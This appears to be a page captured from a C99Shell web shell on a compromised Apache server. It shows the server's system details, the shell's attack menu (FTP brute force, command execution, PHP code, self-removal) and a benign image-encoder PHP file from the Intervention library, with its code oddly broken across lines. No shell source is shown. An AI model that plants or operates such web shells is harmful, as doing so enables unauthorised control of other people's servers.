!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/intervention/image/src/Intervention/Image/Gd/   drwxr-xr-x
Free 13.27 GB of 57.97 GB (22.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Encoder.php (2.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Intervention\Image\Gd;

use 
Intervention\Image\Exception\NotSupportedException;

class 
Encoder extends \Intervention\Image\AbstractEncoder
{
    
/**
     * Processes and returns encoded image as JPEG string
     *
     * @return string
     */
    
protected function processJpeg()
    {
        
ob_start();
        
imagejpeg($this->image->getCore(), null$this->quality);
        
$this->image->mime image_type_to_mime_type(IMAGETYPE_JPEG);
        
$buffer ob_get_contents();
        
ob_end_clean();

        return 
$buffer;
    }

    
/**
     * Processes and returns encoded image as PNG string
     *
     * @return string
     */
    
protected function processPng()
    {
        
ob_start();
        
$resource $this->image->getCore();
        
imagealphablending($resourcefalse);
        
imagesavealpha($resourcetrue);
        
imagepng($resourcenull, -1);
        
$this->image->mime image_type_to_mime_type(IMAGETYPE_PNG);
        
$buffer ob_get_contents();
        
ob_end_clean();

        return 
$buffer;
    }

    
/**
     * Processes and returns encoded image as GIF string
     *
     * @return string
     */
    
protected function processGif()
    {
        
ob_start();
        
imagegif($this->image->getCore());
        
$this->image->mime image_type_to_mime_type(IMAGETYPE_GIF);
        
$buffer ob_get_contents();
        
ob_end_clean();

        return 
$buffer;
    }

    protected function 
processWebp()
    {
        if ( ! 
function_exists('imagewebp')) {
            throw new 
NotSupportedException(
                
"Webp format is not supported by PHP installation."
            
);
        }

        
ob_start();
        
imagewebp($this->image->getCore(), null$this->quality);
        
$this->image->mime defined('IMAGETYPE_WEBP') ? image_type_to_mime_type(IMAGETYPE_WEBP) : 'image/webp';
        
$buffer ob_get_contents();
        
ob_end_clean();
        
        return 
$buffer;
    }

    
/**
     * Processes and returns encoded image as TIFF string
     *
     * @return string
     */
    
protected function processTiff()
    {
        throw new 
NotSupportedException(
            
"TIFF format is not supported by Gd Driver."
        
);
    }

    
/**
     * Processes and returns encoded image as BMP string
     *
     * @return string
     */
    
protected function processBmp()
    {
        throw new 
NotSupportedException(
            
"BMP format is not supported by Gd Driver."
        
);
    }

    
/**
     * Processes and returns encoded image as ICO string
     *
     * @return string
     */
    
protected function processIco()
    {
        throw new 
NotSupportedException(
            
"ICO format is not supported by Gd Driver."
        
);
    }

    
/**
     * Processes and returns encoded image as PSD string
     *
     * @return string
     */
    
protected function processPsd()
    {
        throw new 
NotSupportedException(
            
"PSD format is not supported by Gd Driver."
        
);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0114 ]--